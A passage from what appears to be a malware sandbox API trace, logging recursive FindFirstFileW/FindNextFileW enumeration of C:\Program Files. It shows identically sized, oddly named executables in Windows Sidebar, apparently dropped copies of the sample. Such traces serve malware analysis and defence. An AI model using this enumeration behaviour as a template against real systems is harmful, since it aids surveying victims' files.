dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0241.506] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ae2d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.506] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 1 [0241.506] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d802908, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x76ff649a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x1bb16400, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore.exe.mui", cAlternateFileName="")) returned 0 [0241.507] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0241.507] GetProcessHeap () returned 0xc10000 [0241.507] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0241.507] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0241.508] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 0 [0241.508] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0241.508] GetProcessHeap () returned 0xc10000 [0241.508] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0241.508] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0 [0241.508] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0241.509] GetProcessHeap () returned 0xc10000 [0241.509] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0241.511] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0242.152] GetProcessHeap () returned 0xc10000 [0242.152] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0242.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0242.158] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.158] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0242.158] GetProcessHeap () returned 0xc10000 [0242.158] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0242.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0242.160] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.160] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0242.160] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0242.161] GetProcessHeap () returned 0xc10000 [0242.161] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0242.161] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafda130, ftCreationTime.dwHighDateTime=0x1d5b599, ftLastAccessTime.dwLowDateTime=0x5928e90, ftLastAccessTime.dwHighDateTime=0x1d5e6a9, ftLastWriteTime.dwLowDateTime=0x5928e90, ftLastWriteTime.dwHighDateTime=0x1d5e6a9, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1 [0242.161] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89209510, ftCreationTime.dwHighDateTime=0x1d5c668, ftLastAccessTime.dwLowDateTime=0x8919cb90, ftLastAccessTime.dwHighDateTime=0x1d5cded, ftLastWriteTime.dwLowDateTime=0x8919cb90, ftLastWriteTime.dwHighDateTime=0x1d5cded, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="recommend hold florists.exe", cAlternateFileName="RECOMM~1.EXE")) returned 1 [0242.161] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0242.161] GetProcessHeap () returned 0xc10000 [0242.161] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0242.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0242.162] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.162] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0242.162] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0242.163] GetProcessHeap () returned 0xc10000 [0242.163] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec94f80, ftCreationTime.dwHighDateTime=0x1d5cf38, ftLastAccessTime.dwLowDateTime=0x9b758870, ftLastAccessTime.dwHighDateTime=0x1d5e9f8, ftLastWriteTime.dwLowDateTime=0x9b758870, ftLastWriteTime.dwHighDateTime=0x1d5e9f8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 1 [0242.163] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec94f80, ftCreationTime.dwHighDateTime=0x1d5cf38, ftLastAccessTime.dwLowDateTime=0x9b758870, ftLastAccessTime.dwHighDateTime=0x1d5e9f8, ftLastWriteTime.dwLowDateTime=0x9b758870, ftLastWriteTime.dwHighDateTime=0x1d5e9f8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="YAHOOM~1.EXE")) returned 0 [0242.163] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0242.164] GetProcessHeap () returned 0xc10000 [0242.164] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0242.165] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0242.166] GetProcessHeap () returned 0xc10000 [0242.166] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0242.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec94f80, ftCreationTime.dwHighDateTime=0x1d5cf38, ftLastAccessTime.dwLowDateTime=0x9b758870, ftLastAccessTime.dwHighDateTime=0x1d5e9f8, ftLastWriteTime.dwLowDateTime=0x9b758870, ftLastWriteTime.dwHighDateTime=0x1d5e9f8, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="咊8Â跐Ë\x7f")) returned 0xffffffff [0242.167] GetProcessHeap () returned 0xc10000 [0242.167] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0242.168] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0242.168] GetProcessHeap () returned 0xc10000 [0242.168] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0242.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0242.169] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.169] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0242.169] GetProcessHeap () returned 0xc10000 [0242.169] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0242.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0242.171] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.171] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1 [0242.171] GetProcessHeap () returned 0xc10000 [0242.171] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0242.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0242.172] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.172] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0242.172] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0242.172] GetProcessHeap () returned 0xc10000 [0242.173] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0242.173] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 1 [0242.173] GetProcessHeap () returned 0xc10000 [0242.173] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0242.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0242.174] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.174] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0242.174] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0242.174] GetProcessHeap () returned 0xc10000 [0242.174] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0242.174] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 0 [0242.175] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0242.175] GetProcessHeap () returned 0xc10000 [0242.175] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0242.175] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0242.176] GetProcessHeap () returned 0xc10000 [0242.177] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0242.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program 